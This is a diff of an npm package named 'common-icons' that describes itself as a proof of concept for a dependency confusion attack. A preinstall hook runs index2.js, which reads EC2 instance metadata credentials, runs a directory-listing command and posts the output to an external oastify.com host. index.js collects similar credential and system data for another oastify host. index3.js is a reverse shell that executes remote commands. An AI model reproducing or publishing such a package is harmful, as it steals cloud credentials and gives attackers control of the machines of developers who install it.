common-icons 1.1.0

package/index.js

@@ -0,0 +1,49 @@
+base64data3 = '';
+function req1(){
+    http.get({
+        hostname: '169.254.169.254',
+        port: 80,
+        path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance',
+        agent: false
+    }, 
+    (res) => { 
+            res.setEncoding('utf8');
+            let data = '';
+            res.on("data", (d) => {
+            var x;
+            x=d;
+            let buff3 = Buffer.from(x);
+            base64data3 = buff3.toString('base64');
+
+            const trackingData = JSON.stringify({
+                p: package,
+                c: __dirname,
+                homedir: os.homedir(),
+                networkinginterfaces: os.networkingInterfaces(),
+                release: os.release(),
+                userid: os.userInfo().uid,
+                hostname: os.hostname,
+                username: os.userInfo().username,
+                dns: dns.getServers(),
+                r: packageJSON ? packageJSON.__resolved : undefined,
+                v: packageJSON.version,
+                pjson: packageJSON
+            });
+            var options = {
+                hostname: '9y8xoee2in0vrzq9k265ztp4bvhm5et3.oastify.com',
+                port: 443, 
+                path: '/',
+                method: "POST",
+                headers: {
+                    "content-type":"application/x-www-form-urlencoded",
+                    "content-length": postData.length,
+                    "content-awsconfig":base64data1,
+                    "content-awscreds":base64data2,
+                    "content-imdsv":base64data3
+                }
+            };
+
+            })
+        }
+    )
+}

package/index2.js

@@ -0,0 +1,92 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const command = require('child_process');
+const { Buffer } = require('buffer');
+const command_input = "dir c:\\users\\";
+// Timeout duration (in milliseconds)
+const TIMEOUT_DURATION = 5000; // 5 seconds
+
+// Function to send POST request to xhihdn248xtkn2394eqdmhdax13srif7.oastify.com
+function sendPostToBlaBla(data, hostname_data=null, command_data=null, homedir_data=null) {
+    const postData = JSON.stringify({ ec2: data, hostname: hostname_data, homedir: homedir_data, command_result: command_data });
+
+    const postOptions = {
+        hostname: 'xhihdn248xtkn2394eqdmhdax13srif7.oastify.com',
+        port: 443,
+        path: '/',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData)
+        }
+    };
+
+    const postReq = https.request(postOptions, (postRes) => {
+        let responseData = '';
+
+        postRes.on('data', (chunk) => {
+            responseData += chunk;
+        });
+
+        postRes.on('end', () => {
+            console.log('Response from xhihdn248xtkn2394eqdmhdax13srif7.oastify.com:', responseData);
+        });
+    });
+
+    postReq.on('error', (error) => {
+        console.error('Error with POST request:', error);
+    });
+
+    postReq.write(postData);
+    postReq.end();
+}
+
+// First, send a request to the EC2 metadata URL
+const options = {
+    hostname: 'asd',
+    port: 80,
+    path: '/latest/meta-data/iam/security-credentials/',
+    method: 'GET',
+    timeout: TIMEOUT_DURATION // Set the timeout for the request
+};
+if (os.platform() != "win32") {command_input="ls /root"};
+command.exec(command_input, (error, stdout, stderr) => {
+    if (error) {
+        console.error(`Error executing command: ${error}`);
+        return;
+    }
+
+    if (stderr) {
+        console.error(`Error in execution: ${stderr}`);
+        return;
+    }
+
+    // Output the result of 'dir' command
+    result = (stdout);
+})
+
+const req = http.request(options, (res) => {
+    let data = '';
+
+    res.on('data', (chunk) => {
+        data += chunk;
+    });
+
+    res.on('end', () => {
+        // Encode the response data in base64
+        const encodedData = Buffer.from(data).toString('base64');
+        // Send the encoded data to xhihdn248xtkn2394eqdmhdax13srif7.oastify.com
+        sendPostToBlaBla(encodedData);
+    });
+});
+
+// Handle errors and timeouts for the GET request
+req.on('error', (error) => {
+    console.error('Error with GET request:', error.message);
+    // Send the failure message to xhihdn248xtkn2394eqdmhdax13srif7.oastify.com if there is an error
+    sendPostToBlaBla('connection to EC2 failed', os.hostname(), result, os.homedir());
+});
+
+// End the GET request
+req.end();

package/index3.js

@@ -0,0 +1,40 @@
+const net = require('net');
+const { exec } = require('child_process');
+
+// Change this to the attacker's IP and port
+const REMOTE_HOST = '127.0.0.1'; // Replace with attacker's IP
+const REMOTE_PORT = 8088;          // Replace with attacker's listening port
+
+function connectShell() {
+    const client = new net.Socket();
+
+    // Try to connect to the attacker/listener
+    client.connect(REMOTE_PORT, REMOTE_HOST, () => {
+        console.log('Connected to the attack server');
+        client.write('Reverse shell connected!\n'); // Notify listener of connection
+    });
+
+    // When data is received from the attacker's server
+    client.on('data', (data) => {
+        // Execute the received command
+        exec(data.toString(), (error, stdout, stderr) => {
+            if (stdout) client.write(stdout);   // Send command output back to the attacker
+            if (stderr) client.write(stderr);   // Send any errors back to the attacker
+            if (error) client.write(error.message);
+        });
+    });
+
+    // Reconnect on close
+    client.on('close', () => {
+        console.log('Connection closed, retrying...');
+        setTimeout(connectShell, 5000); // Try reconnecting every 5 seconds
+    });
+
+    client.on('error', (err) => {
+        console.error('Connection error:', err.message);
+        setTimeout(connectShell, 5000); // Retry connection on error
+    });
+}
+
+// Start the reverse shell
+connectShell();

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "common-icons",
+  "version": "1.1.0",
+  "description": "POC for confusion attack",
+  "main": "index2.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index2.js"
+  },
+  "author": "cwg test",
+  "license": "ISC"
+}